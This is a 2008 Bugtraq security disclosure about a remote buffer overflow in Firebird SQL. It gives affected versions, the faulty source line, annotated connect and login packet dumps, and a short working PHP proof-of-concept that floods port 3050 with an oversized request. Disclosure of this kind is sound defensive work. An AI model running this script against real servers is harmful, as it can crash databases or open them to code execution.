bugtraq - Firebird remote BOF POC

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Date: 9 Mar 2008 13:02:19 -0000
From: underwater@...efence.ru
To: bugtraq@...urityfocus.com
Subject: Firebird remote BOF POC

ITDEFENCE.ru 

Firebird is a relational database offering many ANSI SQL-92 features that runs on Linux, Windows, and a variety of Unix platforms.

<?php 

/** 
 *  FIREBIRD REMOTE BUFFER OVERFLOW.
 *  ITDEFENCE.ru Proof-of-Concept (POC)
 *  Eugene Minaev (underwater@...efence.ru)
 *
 *  Integer overflow in Firebird SQL 1.0.3 and earlier, 1.5.x before 1.5.6, 2.0.x before 2.0.4, and 2.1.x before 2.1.0 
 *  RC1 might allow remote attackers to execute arbitrary code via crafted op_receive, op_start, op_start_and_receive, 
 *  op_send, (5) op_start_and_send, and (6) op_start_send_and_receive XDR requests, which triggers memory corruption.
 *
 *  Vulnerable packages
 *
 *      Firebird SQL 1.0.3 and before.
 *      Firebird SQL 1.5.5 and before.
 *      Firebird SQL 2.0.3 and before.
 *      Firebird SQL 2.1.0 Beta 2 and before.
 *
 *  Non-vulnerable packages
 *
 *      Firebird SQL 1.5.6 (to be released)
 *      Firebird SQL 2.0.4 (to be released)
 *      Firebird SQL 2.1.0 RC1
 *
 *  src/remote/protocol.cpp:417
 *
 *      MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_request));
 *      MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_incarnation));
 *      MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_transaction));
 *      MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_message_number));
 *      return xdr_request(xdrs, data->p_data_request,
 *           data->p_data_message_number,
 *           data->p_data_incarnation) ? P_TRUE(xdrs, p) : P_FALSE(xdrs, p);
 *
 *  Firebird Connect Packet
 * 
 *  0x0000   00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00   ..............E.
 *  0x0010   00 BC 00 00 00 00 40 06-00 25 C0 A8 7C 63 C0 A8   .&#1112;....@...&#1040;&#1025;|c&#1040;&#1025;
 *  0x0020   7C 63 0B EA 0E 94 00 00-00 01 00 00 00 01 50 10   |c.&#1082;.“........P.
 *  0x0030   40 00 00 00 00 00 00 00-00 01 00 00 00 13 00 00   @...............
 *  0x0040   00 02 00 00 00 1D 00 00-00 3C 43 3A 5C 50 72 6F   .........<C:\Pro
 *  0x0050   67 72 61 6D 20 46 69 6C-65 73 5C 46 69 72 65 62   gram Files\Fireb
 *  0x0060   69 72 64 5C 46 69 72 65-62 69 72 64 5F 31 5F 35   ird\Firebird_1_5
 *  0x0070   5C 65 78 61 6D 70 6C 65-73 5C 45 4D 50 4C 4F 59   \examples\EMPLOY
 *  0x0080   45 45 2E 66 64 62 00 00-00 02 00 00 00 13 01 04   EE.fdb..........
 *  0x0090   52 4F 4F 54 04 09 75 6E-64 65 72 77 68 61 74 06   ROOT..underwhat.
 *  0x00A0   00 00 00 00 00 08 00 00-00 01 00 00 00 02 00 00   ................
 *  0x00B0   00 03 00 00 00 02 00 00-00 0A 00 00 00 01 00 00   ................
 *  0x00C0   00 02 00 00 00 03 00 00-00 04                     ..........
 *       
 *  Firebird Login Packet.
 *
 *  0x0000   00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00   ..............E.
 *  0x0010   00 94 00 00 6C 6C 40 06-93 E0 C0 A8 7C 63 C0 A8   .“..ll@...#1072;&#1040;&#1025;|c&#1040;&#1025;
 *  0x0020   7C 63 0B EA 0E 94 00 00-00 95 00 00 00 11 50 10   |c.&#1082;.“...•....P.
 *  0x0030   40 00 00 00 00 00 00 00-00 13 00 00 00 00 00 00   @...............
 *  0x0040   00 3C 43 3A 5C 50 72 6F-67 72 61 6D 20 46 69 6C   .<C:\Program Fil
 *  0x0050   65 73 5C 46 69 72 65 62-69 72 64 5C 46 69 72 65   es\Firebird\Fire
 *  0x0060   62 69 72 64 5F 31 5F 35-5C 65 78 61 6D 70 6C 65   bird_1_5\example
 *  0x0070   73 5C 45 4D 50 4C 4F 59-45 45 2E 66 64 62 00 00   s\EMPLOYEE.fdb..
 *  0x0080   00 1E 01 1C 06 53 59 53-44 42 41 1E 0B 51 50 33   .....SYSDBA..QP3
 *  0x0090   4C 4D 5A 2F 4D 4A 68 2E-3A 04 00 00 00 00 3E 00   LMZ/MJh.:.....>.
 *  0x00A0   00 00                                             ..
 *
 */
 
    $___suntzu = "\x00\x00\x00\x4a" .  str_repeat( "\x4a" , 3000);
    for ($temp = 0; $temp < 5; $temp ++){
       $___zuntzu  =   fsockopen('192.168.124.99',3050);
       fwrite($___zuntzu , $___suntzu);
       fclose($___zuntzu );
       sleep(1);
    }
 
?>